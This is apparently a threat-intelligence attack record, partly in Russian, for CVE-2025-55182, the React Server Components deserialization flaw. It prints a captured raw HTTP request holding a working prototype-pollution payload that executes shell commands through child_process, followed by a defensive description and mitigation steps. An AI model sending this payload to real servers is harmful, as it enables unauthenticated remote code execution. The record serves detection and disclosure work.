Информация об атаке

Tag
CVE-2025-55182
Date
2026-02-07
Client IP
79.124.40.174
Client GEO
bulgaria 
Vendor
Meta 
Product
React 
RAW request
POST / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Host: █████████████
Content-Type: multipart/form-data; boundary=40a241dd717c5225f502d35fd5ba57c46580d7df58d04181d41a3206a600
Content-Length: 854
X-Forwarded-For: █████████████
Next-Action: x
Accept-Encoding: gzip
Connection: close

--40a241dd717c5225f502d35fd5ba57c46580d7df58d04181d41a3206a600
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('echo OgzZgkaJJM|md5sum').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
--40a241dd717c5225f502d35fd5ba57c46580d7df58d04181d41a3206a600
Content-Disposition: form-data; name="1"

"$@0"
--40a241dd717c5225f502d35fd5ba57c46580d7df58d04181d41a3206a600
Content-Disposition: form-data; name="2"

[]
--40a241dd717c5225f502d35fd5ba57c46580d7df58d04181d41a3206a600--
Description

CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference

The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE.

The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request.

Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.

The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after.

Mitigations
  1. Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
  2. Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
  3. Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
  4. Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
  5. Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)